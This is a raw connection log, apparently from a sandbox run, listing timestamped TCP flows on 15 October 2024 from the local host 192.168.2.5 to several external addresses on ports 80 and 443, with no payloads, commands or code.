Oct 15, 2024 16:00:02.197964907 CEST	49736	80	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:02.198005915 CEST	80	49736	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:02.198115110 CEST	49736	80	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:02.198616982 CEST	80	49736	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:02.198672056 CEST	49736	80	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:02.209836006 CEST	49736	80	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:02.215312004 CEST	80	49736	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:02.217295885 CEST	49741	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:02.217333078 CEST	443	49741	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:02.217401981 CEST	49741	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:02.246663094 CEST	49741	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:02.246685982 CEST	443	49741	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:02.875057936 CEST	443	49741	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:02.875212908 CEST	49741	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:02.877211094 CEST	49741	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:02.877223969 CEST	443	49741	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:02.877511978 CEST	443	49741	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:02.887914896 CEST	49741	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:02.935406923 CEST	443	49741	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:03.140134096 CEST	443	49741	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:03.140336037 CEST	443	49741	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:03.140417099 CEST	49741	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:03.140420914 CEST	443	49741	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:03.140450954 CEST	443	49741	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:03.140598059 CEST	49741	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:03.140611887 CEST	443	49741	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:03.140768051 CEST	443	49741	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:03.140815020 CEST	49741	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:03.140822887 CEST	443	49741	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:03.141011953 CEST	443	49741	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:03.141062975 CEST	49741	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:03.141068935 CEST	443	49741	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:03.196091890 CEST	49741	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:03.196122885 CEST	443	49741	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:03.242960930 CEST	49741	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:03.266086102 CEST	443	49741	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:03.266258955 CEST	443	49741	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:03.266311884 CEST	49741	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:03.266324997 CEST	443	49741	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:03.266537905 CEST	443	49741	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:03.266582966 CEST	49741	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:03.266591072 CEST	443	49741	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:03.266685963 CEST	443	49741	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:03.266731024 CEST	49741	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:03.266736031 CEST	443	49741	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:03.266829014 CEST	443	49741	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:03.266880989 CEST	49741	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:03.266886950 CEST	443	49741	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:03.267548084 CEST	443	49741	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:03.267630100 CEST	49741	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:03.267637014 CEST	443	49741	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:03.267793894 CEST	443	49741	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:03.267853022 CEST	49741	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:03.342869043 CEST	49741	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:06.290124893 CEST	49769	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:06.290168047 CEST	443	49769	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:06.290275097 CEST	49769	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:06.290688992 CEST	49769	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:06.290704966 CEST	443	49769	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:06.922300100 CEST	443	49769	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:06.923949957 CEST	49769	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:06.923976898 CEST	443	49769	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:07.194132090 CEST	443	49769	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:07.194318056 CEST	443	49769	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:07.194356918 CEST	443	49769	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:07.194396019 CEST	443	49769	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:07.194417953 CEST	49769	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:07.194454908 CEST	443	49769	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:07.194469929 CEST	49769	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:07.197509050 CEST	443	49769	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:07.197541952 CEST	443	49769	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:07.197556973 CEST	49769	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:07.197566986 CEST	443	49769	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:07.197616100 CEST	49769	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:07.200858116 CEST	443	49769	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:07.242896080 CEST	49769	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:07.311866045 CEST	443	49769	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:07.311956882 CEST	443	49769	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:07.311994076 CEST	443	49769	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:07.312047005 CEST	443	49769	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:07.312047958 CEST	49769	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:07.312064886 CEST	443	49769	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:07.312092066 CEST	49769	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:07.312700987 CEST	443	49769	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:07.314394951 CEST	49769	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:07.314403057 CEST	443	49769	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:07.315397024 CEST	443	49769	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:07.315576077 CEST	49769	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:07.315583944 CEST	443	49769	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:07.360198975 CEST	443	49769	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:07.360502005 CEST	49769	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:07.360519886 CEST	443	49769	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:07.414786100 CEST	49769	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:07.429666042 CEST	443	49769	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:07.429757118 CEST	443	49769	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:07.429827929 CEST	443	49769	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:07.429864883 CEST	443	49769	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:07.429899931 CEST	49769	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:07.429919004 CEST	443	49769	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:07.429954052 CEST	49769	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:07.429954052 CEST	443	49769	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:07.430008888 CEST	49769	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:07.451875925 CEST	49769	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:07.478038073 CEST	49774	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:07.478112936 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:07.478185892 CEST	49774	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:07.478591919 CEST	49774	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:07.478610039 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.092036009 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.093481064 CEST	49774	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:08.093528986 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.400599003 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.400727034 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.400768042 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.400789022 CEST	49774	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:08.400808096 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.400823116 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.400851011 CEST	49774	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:08.401309967 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.401360035 CEST	49774	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:08.401377916 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.401660919 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.401700974 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.401700974 CEST	49774	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:08.401715040 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.401817083 CEST	49774	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:08.521337032 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.521456957 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.521495104 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.521524906 CEST	49774	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:08.521557093 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.521600962 CEST	49774	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:08.521955967 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.522028923 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.522066116 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.522072077 CEST	49774	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:08.522079945 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.522114038 CEST	49774	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:08.522753954 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.571079016 CEST	49774	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:08.571098089 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.617913961 CEST	49774	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:08.638706923 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.639062881 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.639133930 CEST	49774	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:08.639147043 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.639362097 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.639427900 CEST	49774	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:08.639436007 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.639863014 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.639914989 CEST	49774	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:08.639921904 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.640149117 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.640208960 CEST	49774	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:08.640216112 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.680391073 CEST	49774	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:08.724112034 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.724292040 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.724342108 CEST	49774	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:08.724361897 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.756978989 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.757016897 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.757040977 CEST	49774	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:08.757055044 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.757091999 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.757127047 CEST	49774	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:08.757133961 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.757172108 CEST	49774	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:08.757607937 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.805381060 CEST	49774	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:08.805397034 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.806237936 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.806288958 CEST	49774	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:08.806298018 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.806454897 CEST	443	49774	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:08.806504011 CEST	49774	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:08.817863941 CEST	49774	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:22.664740086 CEST	49860	443	192.168.2.5	162.159.138.232
Oct 15, 2024 16:00:22.664779902 CEST	443	49860	162.159.138.232	192.168.2.5
Oct 15, 2024 16:00:22.665030003 CEST	49860	443	192.168.2.5	162.159.138.232
Oct 15, 2024 16:00:22.665433884 CEST	49860	443	192.168.2.5	162.159.138.232
Oct 15, 2024 16:00:22.665445089 CEST	443	49860	162.159.138.232	192.168.2.5
Oct 15, 2024 16:00:23.277307034 CEST	443	49860	162.159.138.232	192.168.2.5
Oct 15, 2024 16:00:23.277401924 CEST	49860	443	192.168.2.5	162.159.138.232
Oct 15, 2024 16:00:23.280417919 CEST	49860	443	192.168.2.5	162.159.138.232
Oct 15, 2024 16:00:23.280427933 CEST	443	49860	162.159.138.232	192.168.2.5
Oct 15, 2024 16:00:23.280998945 CEST	443	49860	162.159.138.232	192.168.2.5
Oct 15, 2024 16:00:23.282064915 CEST	49860	443	192.168.2.5	162.159.138.232
Oct 15, 2024 16:00:23.327405930 CEST	443	49860	162.159.138.232	192.168.2.5
Oct 15, 2024 16:00:23.327462912 CEST	49860	443	192.168.2.5	162.159.138.232
Oct 15, 2024 16:00:23.327478886 CEST	443	49860	162.159.138.232	192.168.2.5
Oct 15, 2024 16:00:23.516618013 CEST	49868	80	192.168.2.5	172.67.19.24
Oct 15, 2024 16:00:23.521557093 CEST	80	49868	172.67.19.24	192.168.2.5
Oct 15, 2024 16:00:23.521684885 CEST	49868	80	192.168.2.5	172.67.19.24
Oct 15, 2024 16:00:23.523515940 CEST	443	49860	162.159.138.232	192.168.2.5
Oct 15, 2024 16:00:23.523633003 CEST	443	49860	162.159.138.232	192.168.2.5
Oct 15, 2024 16:00:23.523840904 CEST	49860	443	192.168.2.5	162.159.138.232
Oct 15, 2024 16:00:23.524663925 CEST	49868	80	192.168.2.5	172.67.19.24
Oct 15, 2024 16:00:23.529495955 CEST	80	49868	172.67.19.24	192.168.2.5
Oct 15, 2024 16:00:23.531187057 CEST	49860	443	192.168.2.5	162.159.138.232
Oct 15, 2024 16:00:24.148631096 CEST	80	49868	172.67.19.24	192.168.2.5
Oct 15, 2024 16:00:24.150943041 CEST	49870	443	192.168.2.5	172.67.19.24
Oct 15, 2024 16:00:24.150984049 CEST	443	49870	172.67.19.24	192.168.2.5
Oct 15, 2024 16:00:24.151282072 CEST	49870	443	192.168.2.5	172.67.19.24
Oct 15, 2024 16:00:24.154709101 CEST	49870	443	192.168.2.5	172.67.19.24
Oct 15, 2024 16:00:24.154722929 CEST	443	49870	172.67.19.24	192.168.2.5
Oct 15, 2024 16:00:24.195877075 CEST	49868	80	192.168.2.5	172.67.19.24
Oct 15, 2024 16:00:24.780107021 CEST	443	49870	172.67.19.24	192.168.2.5
Oct 15, 2024 16:00:24.780181885 CEST	49870	443	192.168.2.5	172.67.19.24
Oct 15, 2024 16:00:24.782856941 CEST	49870	443	192.168.2.5	172.67.19.24
Oct 15, 2024 16:00:24.782864094 CEST	443	49870	172.67.19.24	192.168.2.5
Oct 15, 2024 16:00:24.783114910 CEST	443	49870	172.67.19.24	192.168.2.5
Oct 15, 2024 16:00:24.791460037 CEST	49870	443	192.168.2.5	172.67.19.24
Oct 15, 2024 16:00:24.835407972 CEST	443	49870	172.67.19.24	192.168.2.5
Oct 15, 2024 16:00:24.962083101 CEST	443	49870	172.67.19.24	192.168.2.5
Oct 15, 2024 16:00:24.962165117 CEST	443	49870	172.67.19.24	192.168.2.5
Oct 15, 2024 16:00:24.962275982 CEST	49870	443	192.168.2.5	172.67.19.24
Oct 15, 2024 16:00:24.976214886 CEST	49870	443	192.168.2.5	172.67.19.24
Oct 15, 2024 16:00:24.988048077 CEST	49876	80	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:24.992959023 CEST	80	49876	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:24.993060112 CEST	49876	80	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:24.993500948 CEST	49876	80	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:24.998262882 CEST	80	49876	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:25.588880062 CEST	80	49876	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:25.589199066 CEST	49876	80	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:25.589885950 CEST	80	49876	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:25.590182066 CEST	49876	80	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:25.590225935 CEST	49881	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:25.590267897 CEST	443	49881	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:25.590329885 CEST	49881	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:25.590889931 CEST	49881	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:25.590900898 CEST	443	49881	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:25.594103098 CEST	80	49876	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:26.836373091 CEST	443	49881	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:26.836431026 CEST	49881	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:26.898859978 CEST	49881	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:26.898886919 CEST	443	49881	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:26.899275064 CEST	443	49881	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:26.902172089 CEST	49881	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:26.943448067 CEST	443	49881	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:27.029915094 CEST	443	49881	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:27.029990911 CEST	443	49881	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:27.030019999 CEST	443	49881	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:27.030035019 CEST	49881	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:27.030047894 CEST	443	49881	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:27.030082941 CEST	49881	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:27.030086994 CEST	443	49881	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:27.030100107 CEST	443	49881	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:27.030318975 CEST	443	49881	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:27.030335903 CEST	49881	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:27.030360937 CEST	49881	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:27.070588112 CEST	49881	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:31.135313034 CEST	49907	80	192.168.2.5	172.67.19.24
Oct 15, 2024 16:00:31.140285015 CEST	80	49907	172.67.19.24	192.168.2.5
Oct 15, 2024 16:00:31.140388966 CEST	49907	80	192.168.2.5	172.67.19.24
Oct 15, 2024 16:00:31.141161919 CEST	49907	80	192.168.2.5	172.67.19.24
Oct 15, 2024 16:00:31.145919085 CEST	80	49907	172.67.19.24	192.168.2.5
Oct 15, 2024 16:00:31.760209084 CEST	80	49907	172.67.19.24	192.168.2.5
Oct 15, 2024 16:00:31.803468943 CEST	49910	443	192.168.2.5	172.67.19.24
Oct 15, 2024 16:00:31.803524017 CEST	443	49910	172.67.19.24	192.168.2.5
Oct 15, 2024 16:00:31.803653002 CEST	49910	443	192.168.2.5	172.67.19.24
Oct 15, 2024 16:00:31.805185080 CEST	49907	80	192.168.2.5	172.67.19.24
Oct 15, 2024 16:00:31.853353024 CEST	49910	443	192.168.2.5	172.67.19.24
Oct 15, 2024 16:00:31.853382111 CEST	443	49910	172.67.19.24	192.168.2.5
Oct 15, 2024 16:00:32.472709894 CEST	443	49910	172.67.19.24	192.168.2.5
Oct 15, 2024 16:00:32.472794056 CEST	49910	443	192.168.2.5	172.67.19.24
Oct 15, 2024 16:00:32.474525928 CEST	49910	443	192.168.2.5	172.67.19.24
Oct 15, 2024 16:00:32.474549055 CEST	443	49910	172.67.19.24	192.168.2.5
Oct 15, 2024 16:00:32.474930048 CEST	443	49910	172.67.19.24	192.168.2.5
Oct 15, 2024 16:00:32.481456041 CEST	49910	443	192.168.2.5	172.67.19.24
Oct 15, 2024 16:00:32.527396917 CEST	443	49910	172.67.19.24	192.168.2.5
Oct 15, 2024 16:00:32.619313002 CEST	443	49910	172.67.19.24	192.168.2.5
Oct 15, 2024 16:00:32.619613886 CEST	443	49910	172.67.19.24	192.168.2.5
Oct 15, 2024 16:00:32.619682074 CEST	49910	443	192.168.2.5	172.67.19.24
Oct 15, 2024 16:00:32.644193888 CEST	49910	443	192.168.2.5	172.67.19.24
Oct 15, 2024 16:00:32.655519962 CEST	49916	80	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:32.660605907 CEST	80	49916	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:32.660689116 CEST	49916	80	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:32.660840034 CEST	49916	80	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:32.666275978 CEST	80	49916	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:33.272958994 CEST	80	49916	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:33.274458885 CEST	80	49916	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:33.274566889 CEST	49916	80	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:33.274693966 CEST	49916	80	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:33.275691986 CEST	49921	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:33.275729895 CEST	443	49921	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:33.276334047 CEST	49921	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:33.276921034 CEST	49921	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:33.276942968 CEST	443	49921	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:33.279663086 CEST	80	49916	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:33.900021076 CEST	443	49921	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:33.900096893 CEST	49921	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:33.901910067 CEST	49921	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:33.901928902 CEST	443	49921	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:33.902201891 CEST	443	49921	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:33.903247118 CEST	49921	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:33.947419882 CEST	443	49921	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:34.031930923 CEST	443	49921	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:34.032008886 CEST	443	49921	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:34.032038927 CEST	443	49921	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:34.032068968 CEST	443	49921	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:34.032079935 CEST	49921	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:34.032092094 CEST	443	49921	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:34.032123089 CEST	49921	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:34.032493114 CEST	443	49921	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:34.032565117 CEST	443	49921	185.199.110.133	192.168.2.5
Oct 15, 2024 16:00:34.032613039 CEST	49921	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:34.082180023 CEST	49921	443	192.168.2.5	185.199.110.133
Oct 15, 2024 16:00:39.473258972 CEST	49952	443	192.168.2.5	162.159.138.232
Oct 15, 2024 16:00:39.473320007 CEST	443	49952	162.159.138.232	192.168.2.5
Oct 15, 2024 16:00:39.473403931 CEST	49952	443	192.168.2.5	162.159.138.232
Oct 15, 2024 16:00:39.473813057 CEST	49952	443	192.168.2.5	162.159.138.232
Oct 15, 2024 16:00:39.473826885 CEST	443	49952	162.159.138.232	192.168.2.5
Oct 15, 2024 16:00:40.100395918 CEST	443	49952	162.159.138.232	192.168.2.5
Oct 15, 2024 16:00:40.100471973 CEST	49952	443	192.168.2.5	162.159.138.232
Oct 15, 2024 16:00:40.101744890 CEST	49952	443	192.168.2.5	162.159.138.232
Oct 15, 2024 16:00:40.101748943 CEST	443	49952	162.159.138.232	192.168.2.5
Oct 15, 2024 16:00:40.101983070 CEST	443	49952	162.159.138.232	192.168.2.5
Oct 15, 2024 16:00:40.102955103 CEST	49952	443	192.168.2.5	162.159.138.232
Oct 15, 2024 16:00:40.143438101 CEST	443	49952	162.159.138.232	192.168.2.5
Oct 15, 2024 16:00:40.144927979 CEST	49952	443	192.168.2.5	162.159.138.232
Oct 15, 2024 16:00:40.144934893 CEST	443	49952	162.159.138.232	192.168.2.5
Oct 15, 2024 16:00:40.331470013 CEST	443	49952	162.159.138.232	192.168.2.5
Oct 15, 2024 16:00:40.331540108 CEST	443	49952	162.159.138.232	192.168.2.5
Oct 15, 2024 16:00:40.331604004 CEST	49952	443	192.168.2.5	162.159.138.232
Oct 15, 2024 16:00:40.333859921 CEST	49952	443	192.168.2.5	162.159.138.232
Oct 15, 2024 16:00:45.386260986 CEST	49868	80	192.168.2.5	172.67.19.24
Oct 15, 2024 16:00:46.477930069 CEST	49990	443	192.168.2.5	162.159.138.232
Oct 15, 2024 16:00:46.477974892 CEST	443	49990	162.159.138.232	192.168.2.5
Oct 15, 2024 16:00:46.478918076 CEST	49990	443	192.168.2.5	162.159.138.232
Oct 15, 2024 16:00:46.479362011 CEST	49990	443	192.168.2.5	162.159.138.232
Oct 15, 2024 16:00:46.479376078 CEST	443	49990	162.159.138.232	192.168.2.5
Oct 15, 2024 16:00:47.086518049 CEST	443	49990	162.159.138.232	192.168.2.5
